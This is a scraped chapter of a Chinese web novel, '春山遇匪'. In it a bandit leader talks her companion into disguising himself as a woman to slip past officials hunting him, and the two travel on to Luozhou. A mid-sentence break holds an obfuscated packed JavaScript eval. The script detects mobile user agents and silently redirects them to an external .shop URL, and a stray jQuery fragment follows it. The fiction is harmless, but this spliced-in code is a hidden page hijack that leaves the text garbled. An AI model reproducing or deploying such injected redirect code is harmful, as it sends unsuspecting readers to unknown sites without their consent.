文趣网 > 都市小说 > 春山遇匪 > 17. 017
    客店内响起一两声议论,窃窃的,听不真。

    差役四下逡巡一圈,挨个向食客盘查,众人纷纷摆手摇头,只言不知。

    未几,那领头的将目光投向遇恩,左右各自招呼一人,阔步朝她走来。

    “姑娘可曾见过画中男人?朗州来的,二十岁左右。”

    遇恩右手扣着腰侧别的软剑,瞥一眼画像,很快将视线拉回满桌菜肴,淡声道:“不认得。”

    差役轻轻颔首,往后一桌问去了。

    一番盘问无果,几个差役脸上皆是讪讪的,低声商量几句之后转背离开。

    人一走,酒肆人声瞬时鼎沸,仿佛掀开锅盖的热粥,纷纷潽了出来。

    “听说了么,朗州出大事了,瑞王殿下有个极受宠的小倌跑了,不知是拐带了贵重珍宝,还是听了王爷的什么秘密,王府生死要拿人,这几日朗州府官差到处盘查呢。”

    “此事我亦有耳闻,说是那小倌刺伤了瑞王,瑞王已有一月不露面,成日闭门养伤。还说已惊动京师,没准儿过几日派人下朗州调查,那小倌怕是凶多吉少咯。”

    “瑞王不是个大门不出二门不迈的病秧子么,没成想心肠竟如此歹毒。”

    “人家再怎么着也是王爷,泥菩萨还有三分土性呢。”

    “哎,平头百姓拿什么和天潢贵胄斗,以卵击石罢了。得罪了权贵哪还有好下场,不死也得扒层皮。”

    “这不,从朗州追到咱们这儿,累得我们连顿清净饭都吃不成。”

    议论声此起彼伏,遇恩放下筷子,咬住下唇思忖,勾手叫来小二,“把这些饭菜放回锅里温了,半个时辰后送到甲字三号房。”

    小二端走饭菜下去了。

    遇恩提裙上到二楼客房,一面走一面盘算,这客店是不好住下去了,朗州的官差跑到其他州县拿人,可见临近各州各府通了气,需早日赶到罗州才好。罗州毕竟有李老五家族宗亲,还能维护一二。

    来至房前,她轻扣两声门。拉开门的瞬间,看见老四堆着张愁苦的脸。

    “大当家,李老五不肯,”老四咬着指头,眉头紧锁,“他说今日纵然打死他、毒死他,恕难从命。”

    听口吻很是决绝。

    遇恩进到屋内,今日下血本开了间上房,家私陈设虽比不上大户人家,也算齐齐整整。床前的屏风湿了一些,上面挂着李浚修换下来的汗巾子。

    因赶路出汗,李浚修忍不得,叫店家打了热水来洗澡,此刻独坐在床,眼眸低垂,头发半干披肩,拢着他如梦似幻半张脸,因润过水,肤色更苍白了些。

    见遇恩进来他不搭话,瞟一眼,又落下。

    遇恩忽生不忍,走去落座床沿,歪着脑袋瞅他,“外头差役正查你呢,张榜把你的画像贴得到处都是,定是瑞王不死心,非要抓你回去不可。若不乔装如何能顺利躲过盘查?”

    李浚修将身子扭过来一些,眼下淤着淡红怒意,“可也不能叫我穿女装吧。”

    床边小几放着一套衣裙,藕粉的交领小褂,绯色的百迭裙,另有些零散钗环,都是遇恩从客栈掌柜姑娘那里买的。

    李浚修穿女装曾被瑞王欺负过,再次让他扮作女子必然令他痛苦不堪,遇恩知道其中艰难。她自知理亏,轻轻把李浚修的肩膀扳正了,语气软得几乎在哄。

    “女装打扮不过权宜之计,总好过每日躲躲藏藏,何况到处是官差衙役,也不是那么好躲的。且忍耐几日,过几日到罗州地界就好了。”

    李浚修似没听见,翻翻眼皮,不作声。

    见苦劝无果,遇恩索性蹲在他跟前,无辜的眼使劲朝他眨了眨,“衣裳都是新的,人家姑娘没穿过,干净的。脂粉也是新买的,花了我一钱银子呢。钗环虽是旧物件,我都用布细细擦过了,保管没有半点脏污。再有,咱们路上扮作一对姐妹,既不惹眼行事又便宜,岂不更安全。”

    李浚修不答,一根指头一根指头的挨个摩挲,神思已飞到九重天。

    他一向深居简出,仗着没几人见过他,朗州那群人把他编排成王府小倌,将他的画像贴得满城都是,定是找不到他的尸首而三皇子又一再催促,张简那蠢材情急之下想出来的昏招。先查到他的行踪再派人追杀,事成之后通通推给山贼作乱,他们再派兵杀贼灭口,除掉他的同时落得好官声。

    这些人未免太猖狂了些,亲王在封地失踪非同小可,无异于藐视圣上、对抗朝廷,倘若惊动京师,朗州官场必得填进去几条人命。

    如今唯有去罗州搬救兵这一条路,扮女装无疑是一条安全的路,绕过追兵,躲过耳目,神不知鬼不觉抵达。

    然而……他抬眸,对上遇恩殷切的眼神,闹不明白她眼里那股子兴奋劲的由来。

    似乎他穿女装,她会很高兴。

    他已经骗了遇恩太多次,关于他的身份,关于他的家世,关于隐身山寨的原因,心想不如为穿女装的事决裂,横竖到罗州之后他们也会告别。

    可他不想告别。

    遇恩掌心粗粝的触感已融进他的手掌,再要剜出来也不能够。

    她的软腮,她的发丝,她挥巴掌时扇过来的香风,无一不让他在午夜梦回陷入桃色遐想。

    倘若遇恩真是苏家二小姐,苏家的旧案已是铁证如山,他在朝中无甚经营,也没有可靠臂膀,不敢向遇恩承诺翻案,他已习惯明哲保身。

    一面是理智的自保,一面是情爱的冒险,李浚修陷入两难局面。

    所有利害得失在他脑海一幕幕飞速闪过,他心烦意乱,乱得心口疼,乱得想落泪。

    然而一不小心撞见遇恩眸中的渴望,他瞬间心就软了,恨自己下贱。

    此刻权衡利弊已太迟,他早已狂奔在一条不计得失博她欢心的路上了。

    沉默半晌,李浚修轻声道:“好,我穿。”

    那声音羽毛似的飘落遇恩耳畔,使她惊讶回眸,一掌拍在李浚修臂膀,“就说我们李老五聪明,那好,下晌再出门你就是我妹妹了。”

    李浚修正色道:“不,是姐姐。”

    他两手反撑在床榻,慵懒抬眼,吐息迷倦,“叫姐姐。”

    遇恩好容易哄得他愿意乔装,尽管坚定认为自己一定比李老五年长,不得不挨到他身前,仰起水汪汪的两只杏眼道:“姐姐!”

    匆匆用过午饭,老四实在精神不济,倒床补了一觉。

    趁他睡觉的工夫,遇恩用胭脂水粉亲

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792186|210427||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    自为李浚修描妆。因她不擅长,费尽心神倒腾一通,反将西施化成了无盐。

    李浚修往铜镜窥自己面目全非的脸,失声摇头笑了。打水卸掉妆面,重新水粉打底,胭脂扑面,描了个小山眉,点了个丹红唇,挽了个堕马髻,换上女装轻旋裙摆,把个遇恩看得直咽喉咙。

    她口干,眼晕,心狂跳。

    痴痴走近两步,又后退两步欣赏,怪道瑞王会忌恨李浚修,这样的容貌谁人不艳羡。若一般美的,会大方赞叹;而那顶美的,一定痛恨上苍不公。

    遇恩越看越觉双腿发软,她落座桌前,双手托腮。一双眼睛在李浚修身上流连,看完发髻看妆面,看完衣裳看绣鞋,脂粉的香气与粉妆玉琢的李浚修简直要把她迷晕了。

    她捂着心口假装倒地,“苍天啊,世上竟有如此美人,我一定好好活着!”

    那副顽劣模样让李浚修气也不是爱也不是,提裙走来将指头戳在她脑门,“到你了。”

    “什么叫到我了?”

    没等遇恩反应过来,已被拉到盆架洗脸,又拽到妆奁梳妆。

    午时阳光正好,透过窗户纸落在遇恩脸上,仿佛镀上一层柔光,圣洁而天真。

    李浚修捧起她的脸端详,风吹日晒并没有给遇恩的脸留下太多风霜,反而多了一丝柔韧质感。

    她的眉毛不似寻常女子那样细,没有修剪过,带着野生英气。偏圆的杏眼显可爱,瓜子脸却凌厉。左眼下方半寸有颗极小的红痣,他此前从未发现,沾了胭脂加深了些——

    作为他的旷世发现。

    李浚修又闻到她身上那股香气了。

    在这份香软境地,酒肆嘈杂的声息暂时休止,一应家私都在阳光里盹着了,床上的老四睡意正酣。整个人间似乎都在睡去,唯有他们存在。

    他的心在狂颤,手勉强稳住了。

    努力压抑呼吸,唯恐那份悸动惊扰了遇恩。

    “大当家可知张敞画眉?”

    遇恩转两圈眼珠子,咽了咽口水,“张厂?是干果店么?他家的话梅可是招牌?”

    李浚修微微一怔,继而嗤嗤发笑震得手指乱抖,索性停了手,只看她的眼,“大当家说是那便是。”

    那原是个夫妻恩爱的典故,夫君为妻子画眉的闺房乐趣。他刚脱口便后悔了,以他和遇恩的关系,还没到用这个典的地步,唯恐唐突了她。

    然而她不知这典,不知亦是可爱。

    他给遇恩巧施脂粉,梳头戴簪,一番收拾妥当之后心满意足拉到眼前欣赏,“大当家真真美胜姮娥。”

    “你见过姮娥?”

    “那倒没有。”

    “怎知比姮娥更美?”

    李浚修缄口不言,将胭脂水粉收拾妥当,一把塞回遇恩手中,用小得唯有自己听清的声音道:“在梦中比过的。”

    下晌二人双双戴惟帽出门,尽管梳妆打扮耗费了些时辰,一路畅通无阻,接连赶了几日的路,总算平安来到罗州。

    按照约定,遇恩进城之后往广源客栈寻找二子、三子。来至客栈,掌柜却说这两号人不曾来投宿,更没有留下只言片语。

    遇恩心下一惊,莫不是这两人被谁擒住了。